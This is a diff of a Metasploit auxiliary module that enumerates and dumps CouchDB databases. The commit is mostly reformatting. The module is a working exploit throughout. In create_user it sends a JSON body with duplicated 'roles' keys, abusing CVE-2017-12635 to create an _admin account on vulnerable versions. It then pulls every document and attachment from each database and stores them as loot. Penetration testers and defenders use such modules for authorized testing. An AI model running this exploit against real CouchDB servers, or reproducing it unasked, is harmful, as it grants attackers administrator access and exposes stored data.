@@ -8,27 +8,33 @@ class MetasploitModule < Msf::Auxiliary
8
8
include Msf ::Auxiliary ::Report
9
9
10
10
def initialize ( info = { } )
11
- super ( update_info ( info ,
12
- 'Name' => 'CouchDB Enum Utility' ,
13
- 'Description' => %q{
14
- This module enumerates databases on CouchDB using the REST API
15
- (without authentication by default).
16
- } ,
17
- 'References' =>
18
- [
11
+ super (
12
+ update_info (
13
+ info ,
14
+ 'Name' => 'CouchDB Enum Utility' ,
15
+ 'Description' => %q{
16
+ This module enumerates databases on CouchDB using the REST API
17
+ (without authentication by default).
18
+ } ,
19
+ 'References' => [
19
20
[ 'CVE' , '2017-12635' ] ,
20
21
[ 'URL' , 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html' ] ,
21
22
[ 'URL' , 'https://wiki.apache.org/couchdb/HTTP_database_API' ]
22
23
] ,
23
- 'Author' =>
24
- [
24
+ 'Author' => [
25
25
'Max Justicz' , # Vulnerability discovery
26
26
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' , # Metasploit module
27
27
'Hendrik Van Belleghem' , # (@hendrikvb) Database dump enhancements
28
28
'Green-m <greenm.xxoo[at]gmail.com>' # Portions from apache_couchdb_cmd_exec.rb used
29
29
] ,
30
- 'License' => MSF_LICENSE
31
- ) )
30
+ 'License' => MSF_LICENSE ,
31
+ 'Notes' => {
32
+ 'Stability' => [ CRASH_SAFE ] ,
33
+ 'SideEffects' => [ ] ,
34
+ 'Reliability' => [ ]
35
+ }
36
+ )
37
+ )
32
38
33
39
register_options (
34
40
[
@@ -39,8 +45,8 @@ def initialize(info = {})
39
45
OptString . new ( 'HttpUsername' , [ true , 'CouchDB Username' , Rex ::Text . rand_text_alpha ( 12 ) ] ) ,
40
46
OptString . new ( 'HttpPassword' , [ true , 'CouchDB Password' , Rex ::Text . rand_text_alpha ( 12 ) ] ) ,
41
47
OptString . new ( 'ROLES' , [ true , 'CouchDB Roles' , '_admin' ] )
42
-
43
- ] )
48
+ ]
49
+ )
44
50
end
45
51
46
52
def valid_response ( res )
@@ -52,7 +58,7 @@ def get_version
52
58
53
59
begin
54
60
res = send_request_cgi (
55
- 'uri' => '/' ,
61
+ 'uri' => '/' ,
56
62
'method' => 'GET'
57
63
)
58
64
rescue Rex ::ConnectionError
@@ -88,8 +94,10 @@ def get_version
88
94
89
95
def check
90
96
return Exploit ::CheckCode ::Unknown unless get_version
97
+
91
98
version = Rex ::Version . new ( @version )
92
99
return Exploit ::CheckCode ::Unknown if version . version . empty?
100
+
93
101
vprint_good ( "#{ peer } - Found CouchDB version #{ version } " )
94
102
95
103
return Exploit ::CheckCode ::Appears if version < Rex ::Version . new ( '1.7.0' ) || version . between? ( Rex ::Version . new ( '2.0.0' ) , Rex ::Version . new ( '2.1.0' ) )
@@ -100,13 +108,13 @@ def check
100
108
def get_dbs ( auth )
101
109
begin
102
110
res = send_request_cgi (
103
- 'uri' => normalize_uri ( target_uri . path ) ,
111
+ 'uri' => normalize_uri ( target_uri . path ) ,
104
112
'method' => 'GET'
105
113
)
106
114
107
115
temp = JSON . parse ( res . body )
108
116
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , JSON ::ParserError => e
109
- print_error ( "#{ peer } - The following Error was encountered: #{ e . class } " )
117
+ print_error ( "#{ peer } - The following error was encountered: #{ e . class } " )
110
118
return
111
119
end
112
120
@@ -118,7 +126,7 @@ def get_dbs(auth)
118
126
print_status ( "#{ peer } - Enumerating Databases..." )
119
127
results = JSON . pretty_generate ( temp )
120
128
print_good ( "#{ peer } - Databases:\n \n #{ results } \n " )
121
- path = store_loot (
129
+ path = store_loot (
122
130
'couchdb.enum' ,
123
131
'application/json' ,
124
132
rhost ,
@@ -130,39 +138,36 @@ def get_dbs(auth)
130
138
res . get_json_document . each do |db |
131
139
r = send_request_cgi (
132
140
'uri' => normalize_uri ( target_uri . path , "/#{ db } /_all_docs" ) ,
133
- 'method' => 'GET' ,
141
+ 'method' => 'GET' ,
134
142
'authorization' => auth ,
135
- 'vars_get' => { 'include_docs' => 'true' , 'attachments' => 'true' }
136
- )
137
- if r . code != 200
138
- print_bad ( "#{ peer } - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning." )
139
- return
140
- end
141
- temp = JSON . parse ( r . body )
142
- results = JSON . pretty_generate ( temp )
143
- path = store_loot (
144
- "couchdb.#{ db } " ,
145
- "application/json" ,
146
- rhost ,
147
- results ,
148
- "CouchDB Databases"
149
- )
150
- print_good ( "#{ peer } - #{ db } saved in: #{ path } " )
143
+ 'vars_get' => { 'include_docs' => 'true' , 'attachments' => 'true' }
144
+ )
145
+
146
+ if r . code != 200
147
+ print_bad ( "#{ peer } - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning." )
148
+ break
149
+ end
150
+
151
+ temp = JSON . parse ( r . body )
152
+ results = JSON . pretty_generate ( temp )
153
+ path = store_loot (
154
+ "couchdb.#{ db } " ,
155
+ 'application/json' ,
156
+ rhost ,
157
+ results ,
158
+ 'CouchDB Databases'
159
+ )
160
+ print_good ( "#{ peer } - #{ db } saved in: #{ path } " )
151
161
end
152
162
end
153
163
154
- def get_server_info ( auth )
155
- begin
156
- res = send_request_cgi (
157
- 'uri' => '/' ,
158
- 'method' => 'GET'
159
- )
164
+ def get_server_info ( _auth )
165
+ res = send_request_cgi (
166
+ 'uri' => '/' ,
167
+ 'method' => 'GET'
168
+ )
160
169
161
- temp = JSON . parse ( res . body )
162
- rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , JSON ::ParserError => e
163
- print_error ( "#{ peer } - The following Error was encountered: #{ e . class } " )
164
- return
165
- end
170
+ temp = JSON . parse ( res . body )
166
171
167
172
unless valid_response ( res )
168
173
print_error ( "#{ peer } - Unable to enum, received \" #{ res . code } \" " )
@@ -179,28 +184,31 @@ def get_server_info(auth)
179
184
proto : 'tcp' ,
180
185
info : res . body
181
186
)
187
+ rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , JSON ::ParserError => e
188
+ print_error ( "#{ peer } - The following error was encountered: #{ e . class } " )
182
189
end
183
190
184
191
def create_user
185
192
username = datastore [ 'HttpUsername' ]
186
193
password = datastore [ 'HttpPassword' ]
187
194
roles = datastore [ 'ROLES' ]
188
195
timeout = datastore [ 'TIMEOUT' ]
189
- version = @version
190
196
191
- data = %Q ({
197
+ data = %({
192
198
"type": "user",
193
199
"name": "#{ username } ",
194
200
"roles": ["#{ roles } "],
195
201
"roles": [],
196
202
"password": "#{ password } "
197
203
})
198
204
res = send_request_cgi (
199
- { 'uri' => "/_users/org.couchdb.user:#{ username } " , # http://hostname:port/_users/org.couchdb.user:username
200
- 'method' => 'PUT' ,
201
- 'ctype' => 'text/json' ,
202
- 'data' => data ,
203
- } , timeout )
205
+ {
206
+ 'uri' => "/_users/org.couchdb.user:#{ username } " , # http://hostname:port/_users/org.couchdb.user:username
207
+ 'method' => 'PUT' ,
208
+ 'ctype' => 'text/json' ,
209
+ 'data' => data
210
+ } , timeout
211
+ )
204
212
205
213
unless res && res . code == 200
206
214
print_error ( "#{ peer } - Change Failed" )
@@ -220,6 +228,7 @@ def run
220
228
print_good ( "#{ peer } - Found CouchDB version #{ version } " )
221
229
create_user if version < Rex ::Version . new ( '1.7.0' ) || version . between? ( Rex ::Version . new ( '2.0.0' ) , Rex ::Version . new ( '2.1.0' ) )
222
230
end
231
+
223
232
auth = basic_auth ( username , password ) if username && password
224
233
get_server_info ( auth ) if datastore [ 'SERVERINFO' ]
225
234
get_dbs ( auth )
0 commit comments